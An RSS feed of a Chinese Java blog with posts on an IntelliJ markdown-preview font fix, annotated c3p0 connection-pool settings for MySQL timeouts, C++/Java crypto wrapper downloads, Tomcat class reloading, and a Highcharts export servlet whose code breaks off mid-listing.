﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-学无止境</title><link>http://www.blogjava.net/hijackwust/</link><description>学习是一件快乐的事情</description><language>zh-cn</language><lastBuildDate>Wed, 29 Apr 2026 03:10:44 GMT</lastBuildDate><pubDate>Wed, 29 Apr 2026 03:10:44 GMT</pubDate><ttl>60</ttl><item><title>intellij idea 2020.1 markdown 预览 一片空白</title><link>http://www.blogjava.net/hijackwust/archive/2020/05/30/435475.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Sat, 30 May 2020 06:21:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2020/05/30/435475.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/435475.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2020/05/30/435475.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/435475.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/435475.html</trackback:ping><description><![CDATA[<p style="margin: 0px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 12px; line-height: normal; font-family: &quot;Andale Mono&quot;; color: #28fe14; background-color: rgba(0, 0, 0, 0.9);"><span style="font-variant-ligatures: no-common-ligatures;"># 进入idea安装目录 执行命令 ，重启idea即可<br /><br /></span></p><p class="p1" style="margin: 0px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 12px; line-height: normal; font-family: &quot;Andale Mono&quot;; color: #28fe14; background-color: rgba(0, 0, 0, 0.9);"><span class="s1" style="font-variant-ligatures: no-common-ligatures;">cd /Applications/IntelliJ\ \IDEA.app/Contents/jbr/Contents/Home/lib/fonts</span></p><p style="margin: 0px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 12px; line-height: normal; font-family: &quot;Andale Mono&quot;; color: #28fe14; background-color: rgba(0, 0, 0, 0.9);"><span style="font-variant-ligatures: no-common-ligatures;"><br /><br /></span></p><p class="p1" style="margin: 0px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 12px; line-height: normal; font-family: &quot;Andale Mono&quot;; color: #28fe14; background-color: rgba(0, 0, 0, 0.9);"><span class="s1" style="font-variant-ligatures: no-common-ligatures;">mkfontscale</span></p><p class="p1" style="margin: 0px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 12px; line-height: normal; font-family: &quot;Andale Mono&quot;; color: #28fe14; background-color: rgba(0, 0, 0, 0.9);"><span class="s1" style="font-variant-ligatures: no-common-ligatures;">mkfontdir</span></p><p style="margin: 0px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 12px; line-height: normal; font-family: &quot;Andale Mono&quot;; color: #28fe14; background-color: rgba(0, 0, 0, 0.9);"><span style="font-variant-ligatures: no-common-ligatures;"><br /></span></p><img src ="http://www.blogjava.net/hijackwust/aggbug/435475.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2020-05-30 14:21 <a href="http://www.blogjava.net/hijackwust/archive/2020/05/30/435475.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c3p0配置详解&lt;转贴&gt;</title><link>http://www.blogjava.net/hijackwust/archive/2012/09/06/387157.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Thu, 06 Sep 2012 03:42:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2012/09/06/387157.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/387157.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2012/09/06/387157.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/387157.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/387157.html</trackback:ping><description><![CDATA[<p>转:<a href="http://www.blogjava.net/Alpha/archive/2009/03/29/262789.html">http://www.blogjava.net/Alpha/archive/2009/03/29/262789.html</a><br /><br /></p>
<div class="postTitle"><a class="postTitle2" id="viewpost1_TitleUrl" href="http://www.blogjava.net/Alpha/archive/2009/03/29/262789.html">c3p0详细配置</a> </div>
<div class="articleContent" id="articleBody">
<div class="blog_content"><strong>官方文档 :</strong> <a href="http://www.mchange.com/projects/c3p0/index.html"><strong><font color="#8c5900">http://www.mchange.com/projects/c3p0/index.html</font></strong></a></div>
<div class="blog_content">&lt;c3p0-config&gt;<br />&lt;default-config&gt;<br /><font color="#ff0000">&lt;!--当连接池中的连接耗尽的时候c3p0一次同时获取的连接数。Default: 3 --&gt;<br /></font>&lt;property name="acquireIncrement"&gt;3&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--定义在从数据库获取新连接失败后重复尝试的次数。Default: 30 --&gt;</font><br />&lt;property name="acquireRetryAttempts"&gt;30&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--两次连接中间隔时间，单位毫秒。Default: 1000 --&gt;</font><br />&lt;property name="acquireRetryDelay"&gt;1000&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--连接关闭时默认将所有未提交的操作回滚。Default: false --&gt;</font><br />&lt;property name="autoCommitOnClose"&gt;false&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--c3p0将建一张名为Test的空表，并使用其自带的查询语句进行测试。如果定义了这个参数那么<br />属性preferredTestQuery将被忽略。你不能在这张Test表上进行任何操作，它将只供c3p0测试<br />使用。Default: null--&gt;<br /></font>&lt;property name="automaticTestTable"&gt;Test&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--获取连接失败将会引起所有等待连接池来获取连接的线程抛出异常。但是数据源仍有效<br />保留，并在下次调用getConnection()的时候继续尝试获取连接。如果设为true，那么在尝试<br />获取连接失败后该数据源将申明已断开并永久关闭。Default: false--&gt;<br /></font>&lt;property name="breakAfterAcquireFailure<wbr><wbr>"&gt;false&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--当连接池用完时客户端调用getConnection()后等待获取新连接的时间，超时后将抛出<br />SQLException,如设为0则无限期等待。单位毫秒。Default: 0 --&gt;<br /></font>&lt;property name="checkoutTimeout"&gt;100&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--通过实现ConnectionTester或QueryConnectionTester的类来</font><font color="#ff0000">测试连接。类名需制定全路径。<br />Default: com.mchange.v2.c3p0.impl.DefaultConnectionTester--&gt;<br /></font>&lt;property name="connectionTesterClassNam<wbr><wbr>e"&gt;&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--指定c3p0 libraries的路径，如果（通常都是这样）在本地即可获得那么无需设置，默认null即可<br />Default: null--&gt;<br /></font>&lt;property name="factoryClassLocation"&gt;null&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--Strongly disrecommended. Setting this to true may lead to subtle and bizarre bugs.<br />（文档原文）作者强烈建议不使用的一个属性--&gt;<br /></font>&lt;property name="forceIgnoreUnresolvedTra<wbr><wbr>nsactions"&gt;false&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--每60秒检查所有连接池中的空闲连接。Default: 0 --&gt;<br /></font>&lt;property name="idleConnectionTestPeriod<wbr><wbr>"&gt;60&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--初始化时获取三个连接，取值应在minPoolSize与maxPoolSize之间。Default: 3 --&gt;<br /></font>&lt;property name="initialPoolSize"&gt;3&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--最大空闲时间,60秒内未使用则连接被丢弃。若为0则永不丢弃。Default: 0 --&gt;<br /></font>&lt;property name="maxIdleTime"&gt;60&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--连接池中保留的最大连接数。Default: 15 --&gt;<br /></font>&lt;property name="maxPoolSize"&gt;15&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--JDBC的标准参数，用以控制数据源内加载的PreparedStatements数量。但由于预缓存的statements<br />属于单个connection而不是整个连接池。所以设置这个参数需要考虑到多方面的因素。<br />如果maxStatements与maxStatementsPerConnecti<wbr><wbr>on均为0，则缓存被关闭。Default: 0--&gt;<br /></font>&lt;property name="maxStatements"&gt;100&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--maxStatementsPerConnecti<wbr>on定义了连接池内单个连接所拥有的最大缓存statements数。Default: 0 --&gt;<br /></font>&lt;property name="maxStatementsPerConnecti<wbr><wbr>on"&gt;&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--c3p0是异步操作的，缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能<br />通过多线程实现多个操作同时被执行。Default: 3--&gt;</font><br />&lt;property name="numHelperThreads"&gt;3&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--当用户调用getConnection()时使root用户成为去获取连接的用户。主要用于连接池连接非c3p0<br />的数据源时。Default: null--&gt;<br /></font>&lt;property name="overrideDefaultUser"&gt;root&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--与overrideDefaultUser参数对应使用的一个参数。Default: null--&gt;<br /></font>&lt;property name="overrideDefaultPassword"&gt;password&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--密码。Default: null--&gt;<br /></font>&lt;property name="password"&gt;&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--定义所有连接测试都执行的测试语句。在使用连接测试的情况下这个一显著提高测试速度。注意：<br />测试的表必须在初始数据源的时候就存在。Default: null--&gt;</font><br />&lt;property name="preferredTestQuery"&gt;select id from test where id=1&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--用户修改系统配置参数执行前最多等待300秒。Default: 300 --&gt;<br /></font>&lt;property name="propertyCycle"&gt;300&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--因性能消耗大请只在需要的时候使用它。如果设为true那么在每个connection提交的<br />时候都将校验其有效性。建议使用idleConnectionTestPeriod<wbr><wbr>或automaticTestTable<br />等方法来提升连接测试的性能。Default: false --&gt;<br /></font>&lt;property name="testConnectionOnCheckout<wbr><wbr>"&gt;false&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--如果设为true那么在取得连接的同时将校验连接的有效性。Default: false --&gt;<br /></font>&lt;property name="testConnectionOnCheckin"&gt;true&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--用户名。Default: null--&gt;<br /></font>&lt;property name="user"&gt;root&lt;/property&gt;<br /><br /><font color="#ff0000">&lt;!--早期的c3p0版本对JDBC接口采用动态反射代理。在早期版本用途广泛的情况下这个参数<br />允许用户恢复到动态反射代理以解决不稳定的故障。最新的非反射代理更快并且已经开始<br />广泛的被使用，所以这个参数未必有用。现在原先的动态反射与新的非反射代理同时受到<br />支持，但今后可能的版本可能不支持动态反射代理。Default: false--&gt;<br /></font>&lt;property name="usesTraditionalReflectiv<wbr><wbr>eProxies"&gt;false&lt;/property&gt;<br /><br />&lt;property name="automaticTestTable"&gt;con_test&lt;/property&gt;<br />&lt;property name="checkoutTimeout"&gt;30000&lt;/property&gt;<br />&lt;property name="idleConnectionTestPeriod<wbr><wbr>"&gt;30&lt;/property&gt;<br />&lt;property name="initialPoolSize"&gt;10&lt;/property&gt;<br />&lt;property name="maxIdleTime"&gt;30&lt;/property&gt;<br />&lt;property name="maxPoolSize"&gt;25&lt;/property&gt;<br />&lt;property name="minPoolSize"&gt;10&lt;/property&gt;<br />&lt;property name="maxStatements"&gt;0&lt;/property&gt;<br />&lt;user-overrides user="swaldman"&gt;<br />&lt;/user-overrides&gt;<br />&lt;/default-config&gt;<br />&lt;named-config name="dumbTestConfig"&gt;<br />&lt;property name="maxStatements"&gt;200&lt;/property&gt;<br />&lt;user-overrides user="poop"&gt;<br />&lt;property name="maxStatements"&gt;300&lt;/property&gt;<br />&lt;/user-overrides&gt;<br />&lt;/named-config&gt;<br />&lt;/c3p0-config&gt;<br /><br /><br />转：<a href="http://www.wujianrong.com/archives/2007/08/c3p0.html"><font color="#8c5900">http://www.wujianrong.com/archives/2007/08/c3p0.html</font></a></div>
<div class="blog_content">解决MYSQL 8小时问题</div>
<div class="blog_content">
<p>最近的一个项目在Hibernate使用C3P0的连接池，数据库为Mysql。开发测试没有问题，在运行中每个一段长的空闲时间就出现异常:</p>
<div class="code_title">java 代码</div>
<div class="dp-highlighter">
<ol class="dp-j"><li class="alt"><span>org.hibernate.exception.JDBCConnectionException: could not execute query</span></li><li><span>at org.hibernate.exception.SQLStateConverter.convert(SQLStateConverter.java:</span><span class="number">74</span><span>)</span></li><li class="alt"><span>at org.hibernate.exception.JDBCExceptionHelper.convert(JDBCExceptionHelper.java:</span><span class="number">43</span><span>)</span></li><li><span>.......</span></li><li class="alt"><span>Caused by: com.mysql.jdbc.exceptions.MySQLNonTransientConnect<wbr><wbr>ionException: No operations allowed after connection closed.Connection was implicitly closed due to underlying exception/error:</span></li><li><span>** BEGIN NESTED EXCEPTION **</span></li><li><span>com.mysql.jdbc.CommunicationsException</span></li><li class="alt"><span>MESSAGE: Communications link failure due to underlying exception:</span></li><li class="alt"><span>** BEGIN NESTED EXCEPTION **</span></li><li class="alt"><span>java.net.SocketException</span></li><li><span>MESSAGE: Broken pipe</span></li><li><span>STACKTRACE:</span></li><li><span>java.net.SocketException: Broken pipe</span></li><li class="alt"><span>at java.net.SocketOutputStream.socketWrite0(Native Method)</span></li><li><span>......</span></li><li class="alt"><span>** END NESTED EXCEPTION **</span> </li></ol></div>
<p>查看了Mysql的文档，以及Connector/J的文档以及在线说明发现，出现这种异常的原因是：</p>
<p>Mysql服务器默认的&#8220;wait_timeout&#8221;是8小时，也就是说一个connection空闲超过8个小时，Mysql将自动断开该 connection。这就是问题的所在，在C3P0 pools中的connections如果空闲超过8小时，Mysql将其断开，而C3P0并不知道该connection已经失效，如果这时有 Client请求connection，C3P0将该失效的Connection提供给Client，将会造成上面的异常。</p>
<p>解决的方法有3种：</p>
<ol><li>增加wait_timeout的时间。</li><li>减少Connection pools中connection的lifetime。</li><li>测试Connection pools中connection的有效性。 </li></ol>
<p>当然最好的办法是同时综合使用上述3种方法，下面就DBCP和C3P0分别做一说明，假设wait_timeout为默认的8小时</p>
<p>DBCP增加以下配置信息:</p>
<div class="dp-highlighter">
<ol class="dp-j"><li class="alt"><span><font color="#008200"><span class="comment">//set to 'SELECT 1'</span></font></span></li><li><span>validationQuery =</span> <span class="string"><font color="#0000ff">"SELECT 1"</font></span></li><li class="alt"><font color="#008200"><span class="comment">//set to 'true'</span></font></li><li><span>testWhileIdle =</span> <span class="string"><font color="#0000ff">"true"</font></span></li><li class="alt"><font color="#008200"><span class="comment">//some positive integer</span></font></li><li><span>timeBetweenEvictionRunsMillis =</span> <span class="number">3600000</span></li><li class="alt"><font color="#008200"><span class="comment">//set to something smaller than 'wait_timeout'</span></font></li><li><span>minEvictableIdleTimeMillis =</span> <span class="number">18000000</span></li><li class="alt"><font color="#008200"><span class="comment">//if you don't mind a hit for every getConnection(), set to "true"</span></font></li><li><span>testOnBorrow =</span> <span class="string"><font color="#0000ff">"true"</font></span> </li></ol></div>
<p>C3P0增加以下配置信息:</p>
<div class="dp-highlighter">
<ol class="dp-j"><li class="alt"><span><font color="#008200"><span class="comment">//获取connnection时测试是否有效</span></font></span></li><li><span>testConnectionOnCheckin = true</span></li><li><span>//自动测试的table名称<br /></span></li><li><span>automaticTestTable=C3P0TestTable<br /></span></li><li class="alt"><font color="#008200"><span class="comment">//set to something much less than wait_timeout, prevents connections from going stale</span></font></li><li><span>idleConnectionTestPeriod =</span> <span class="number">18000</span></li><li class="alt"><font color="#008200"><span class="comment">//set to something slightly less than wait_timeout, preventing 'stale' connections from being handed out</span></font></li><li><span>maxIdleTime =</span> <span class="number">25000</span></li><li class="alt"><font color="#008200"><span class="comment">//if you can take the performance 'hit', set to "true"</span></font></li><li><span>testConnectionOnCheckout =</span> <span class="keyword"><strong><font color="#7f0055">true</font></strong></span> </li></ol></div>
<p>更多的配置信息大家可以查看C3P0文档，Connector/J文档，以及DBCP的文档。</p>
<p>转: <a href="http://www.javaeye.com/article/38506"><font color="#8c5900">http://www.javaeye.com/article/38506</font></a></p>
<p>我自己的配置:</p>
<p>jdbc.driverClass=com.mysql.jdbc.Driver<br />jdbc.jdbcUrl = jdbc:mysql://localhost:3306/test<br />jdbc.user = root<br />jdbc.password = 12345<br />jdbc.miniPoolSize = 1<br />jdbc.maxPoolSize = 20<br />jdbc.initialPoolSize = 1<br />jdbc.maxIdleTime = 25000<br />jdbc.acquireIncrement = 1</p>
<p>jdbc.acquireRetryAttempts = 30<br />jdbc.acquireRetryDelay = 1000<br />jdbc.testConnectionOnCheckin = true<br />jdbc.automaticTestTable = c3p0TestTable<br />jdbc.idleConnectionTestPeriod<wbr><wbr> = 18000<br />jdbc.checkoutTimeout=3000</p>
<p>&lt;bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" destroy-method="close"&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="driverClass" value="${jdbc.driverClass}" /&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="jdbcUrl" value="${jdbc.jdbcUrl}" /&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="user" value="${jdbc.user}" /&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="password" value="${jdbc.password}" /&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="minPoolSize" value="${jdbc.miniPoolSize}" /&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="maxPoolSize" value="${jdbc.maxPoolSize}"/&gt;&nbsp;<wbr><wbr>&nbsp;<wbr><wbr><br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="initialPoolSize" value="${jdbc.initialPoolSize}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="maxIdleTime" value="${jdbc.maxIdleTime}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="acquireIncrement" value="${jdbc.acquireIncrement}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr><br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="acquireRetryAttempts" value="${jdbc.acquireRetryAttempts}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="acquireRetryDelay" value="${jdbc.acquireRetryDelay}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="testConnectionOnCheckin" value="${jdbc.testConnectionOnCheckin}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="automaticTestTable" value="${jdbc.automaticTestTable}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="idleConnectionTestPeriod<wbr><wbr>" value="${jdbc.idleConnectionTestPeriod<wbr><wbr>}"/&gt;<br />&nbsp;<wbr><wbr>&nbsp;<wbr><wbr> &lt;property name="checkoutTimeout" value="${jdbc.checkoutTimeout}"/&gt;</p>
<p>&lt;/bean&gt;</p></div></div>
<p>&nbsp;</p><img src ="http://www.blogjava.net/hijackwust/aggbug/387157.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2012-09-06 11:42 <a href="http://www.blogjava.net/hijackwust/archive/2012/09/06/387157.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RSA,AES,SHA1,RSA-SHA1 Sign加密算法C++/Java封装</title><link>http://www.blogjava.net/hijackwust/archive/2011/07/20/354677.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Wed, 20 Jul 2011 01:22:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2011/07/20/354677.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/354677.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2011/07/20/354677.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/354677.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/354677.html</trackback:ping><description><![CDATA[<div><a href="http://www.blogjava.net/Files/hijackwust/071229200308.rar">/Files/hijackwust/071229200308.rar</a><br /><br />转自：<a href="http://blogold.chinaunix.net/u1/52224/showart.php?id=453114">http://blogold.chinaunix.net/u1/52224/showart.php?id=453114</a><br /><br />
<div>以前做项目的时候需要C++和Java之间进行数据通信，要解决相互信任和数据安全的问题，使用了RSA-SHA1签名做<font size="2">证书，通信开始时传递证书然后使用RSA加密AES密钥，以后通信使用AES加密进行数据传输，所以封装了<font face="Times New Roman">RSA/PKCS #1,&nbsp; </font><font face="Times New Roman">AES/CBC/PKCS#1,&nbsp; </font><font face="Times New Roman">SHA1,&nbsp; </font>RSA-SHA1 Signature，另外为了方便数据转换，封装了Base16和Base64算法。</font></div>
<div><font size="2"></font>&nbsp;</div>
<div>C++部分使用了Wei Dai整理的开源C++加密工具cryptopp(<a href="http://www.cryptopp.com/">www.cryptopp.com</a>)，cryptopp是一个非常优秀和完善的开源C++加密工具，将C++技术和设计模式使用到了淋漓尽致的地步，不过对于初学者来说比较难以上手，特别是需要将项目交给初学者来实现的时候，所以当时在cryptopp的基础上做了一些封装，并且将RSA,AES,SHA1,RSA-SHA1 Sign分离成独立的类，并且添加了Base16和Base64编码算法，使用这几个加密算法，几乎可以解决一般项目对通信安全的需要。</div>
<div>&nbsp;</div>
<div>Java部分使用了JDK自带的SunJCE加密框架，一般网上可以找到的Java加密解密都是使用SunJCE框架，还有一个比较著名的Java开源加密工具是bouncycastle(<a href="http://www.bouncycastle.org/">http://www.bouncycastle.org/</a>)，因为SunJCE是JDK自带的，所以使用比较方便，相对于cryptopp，SunJCE要容易上手得多，几乎不需要再做封装，不过为了跟C++封装统一，也做了简单的封装，保持C++接口和Java接口相近。</div>
<div>&nbsp;</div>
<div>C++封装在Visual Studio 2003下测试通过，Java封装在jdk1.5.0_14下测试通过。</div>
<div>更详细的信息，解压缩后参考/doc/crypto.doc和源代码.</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>
<table style="border-collapse: collapse" bordercolor="#dddddd" cellspacing="0" cellpadding="0" width="360" align="center" border="1">
<tbody>
<tr height="60">
<td align="center" width="60"><img alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
<td>
<table style="border-collapse: collapse" cellspacing="0" cellpadding="0" width="100%" border="0">
<tbody>
<tr height="20">
<td align="center" width="40">文件:</td>
<td>crypto.2007.12.29.20.01.apacheL.rar</td></tr>
<tr height="20">
<td align="center" width="40">大小:</td>
<td>
<p>224KB</p></td></tr>
<tr height="20">
<td align="center" width="40">下载:</td>
<td><a href="http://blogimg.chinaunix.net/blog/upfile2/071229200308.rar">下载</a></td></tr></tbody></table>
<p>sha1: 99C1BF0396B35518DB34C1566462B3AE786744CD</p>
<p>sha256: F5325064D1D5E25A45F1EE19E126C847E181EC7720472785429E8331252830CF</p>
<p>sha512: BCF60EB80253C6C8D5F813A4E04FF1A84C0CF4FE64BD9D591EE592D39267EF5F7A1611C922856D960515E58087A67D6994643178ABA5C52470D4C624E27591D9</p></td></tr></tbody></table></div></div><br /><img src ="http://www.blogjava.net/hijackwust/aggbug/354677.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2011-07-20 09:22 <a href="http://www.blogjava.net/hijackwust/archive/2011/07/20/354677.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>超越reloadable=true, 在Tomcat运行时动态重载类(version 5.0.28) </title><link>http://www.blogjava.net/hijackwust/archive/2011/07/19/354665.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Tue, 19 Jul 2011 15:25:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2011/07/19/354665.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/354665.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2011/07/19/354665.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/354665.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/354665.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自：http://blog.csdn.net/cm4ever/article/details/616782为什么写这篇文档？使用过hibernate, spring或其他大型组件，写过50个类以上的网络应用程序(web application)的开发者应该知道，当系统中有很多类时，如果开启了Tomcat的reloadable=true,那么每当相关文件改变时，Tomcat会停止web...&nbsp;&nbsp;<a href='http://www.blogjava.net/hijackwust/archive/2011/07/19/354665.html'>阅读全文</a><img src ="http://www.blogjava.net/hijackwust/aggbug/354665.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2011-07-19 23:25 <a href="http://www.blogjava.net/hijackwust/archive/2011/07/19/354665.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Highcharts导出代码Java版</title><link>http://www.blogjava.net/hijackwust/archive/2011/07/18/354553.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Mon, 18 Jul 2011 10:39:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2011/07/18/354553.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/354553.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2011/07/18/354553.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/354553.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/354553.html</trackback:ping><description><![CDATA[添加包：<br /><br />
<p>avalon-framework-api.jar<br />avalon-framework-impl.jar<br />batik-svg-dom.jar<br />batik-bridge.jar<br />batik-awt-util.jar<br />batik-gvt.jar<br />batik-transcoder.jar<br />batik-extension.jar<br />batik-ext.jar<br />commons-logging.jar<br />commons-io.jar<br />fop-0.95-1.jar <br />js.jar<br />pdf-transcoder.jar<br />xalan.jar<br />xerces.jar<br />xml-apis-ext.jar<br />xml-apis.jar<br />xmlgraphics-commons.jar</p>
<p>servlet-api.jar</p><br /><br />转自：<a href="http://hi.baidu.com/god0156/blog/item/812747e82b5da0c52f2e2198.html">http://hi.baidu.com/god0156/blog/item/812747e82b5da0c52f2e2198.html</a><br /><br />
<table style="table-layout: fixed; width: 100%">
<tbody>
<tr>
<td>
<div class="cnt" id="blog_text">
<p>&nbsp;</p>
<p><a href="http://highcharts.com/" target="_blank"><font color="#f26522">Highcharts</font></a>是一个用纯JavaScript编写的图表库，提供了一个交互式的图表添加到您的网站或Web应用程序的简单方法。Highcharts目前支持线，样条，面积，areaspline，柱形图，条形图，饼图和散点图类型。</p>
<p>同时Highcharts提供将图表导出为图片或者PDF格式文件，只需要在页面中载入exporting.js文件。</p>
<p>由于生成的图表是<a href="http://zh.wikipedia.org/zh/SVG" target="_blank"><font color="#f26522">SVG</font></a>格式，所以导出时需要将数据发送到服务器端来进行转换。在exporting.js中默认导出地址是http://export.highcharts.com/，另外在demo中也提供了php版本。</p>
<p>本文是介绍如何在java web application中来实现导出功能。</p>
<p>首选需要在lib中加入<a href="http://hi.baidu.com/god0156/blog/item/xml.apache.org/batik/" target="_blank"><font color="#f26522">batik</font></a> jar包，如果是使用maven来管理项目，则在库中只能找到1.6的版本，同时需要另外下载一个包(xml-apis-ext.jar)。</p><pre><span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> ExportHighFreqChartServlet <span style="color: #0000ff">extends</span> javax.servlet.http.HttpServlet <span style="color: #0000ff">implements</span> javax.servlet.Servlet {
<span style="color: #0000ff">    </span><span style="color: #0000ff">public</span> ExportHighFreqChartServlet() {
 <span style="color: #0000ff">super</span>();
    }
<span style="color: #0000ff"><font color="#000000">    </font>protected</span> <span style="color: #0000ff">void</span> doGet(HttpServletRequest request, HttpServletResponse response) <span style="color: #0000ff">throws</span> ServletException, IOException {
 doPost(request, response);
    }
<span style="color: #0000ff"><font color="#000000">    </font>protected</span> <span style="color: #0000ff">void</span> doPost(HttpServletRequest request, HttpServletResponse response) <span style="color: #0000ff">throws</span> ServerException, IOException {
 String type = request.getParameter("<span style="color: #8b0000">type</span>");
 String svg = request.getParameter("<span style="color: #8b0000">svg</span>");
 String filename = request.getParameter("<span style="color: #8b0000">filename</span>");
 filename = filename==<span style="color: #0000ff">null</span>?"<span style="color: #8b0000">chart</span>":filename;
 ServletOutputStream out = response.getOutputStream();
 <span style="color: #0000ff">if</span> (<span style="color: #0000ff">null</span> != type &amp;&amp; <span style="color: #0000ff">null</span> != svg) {
     svg = svg.replaceAll("<span style="color: #8b0000">:rect</span>", "<span style="color: #8b0000">rect</span>");
     String ext = "<span style="color: #8b0000"></span>";
     Transcoder t = <span style="color: #0000ff">null</span>;
     <span style="color: #0000ff">if</span> (type.equals("<span style="color: #8b0000">image/png</span>")) {
  ext = "<span style="color: #8b0000">png</span>";
  t = <span style="color: #0000ff">new</span> PNGTranscoder();
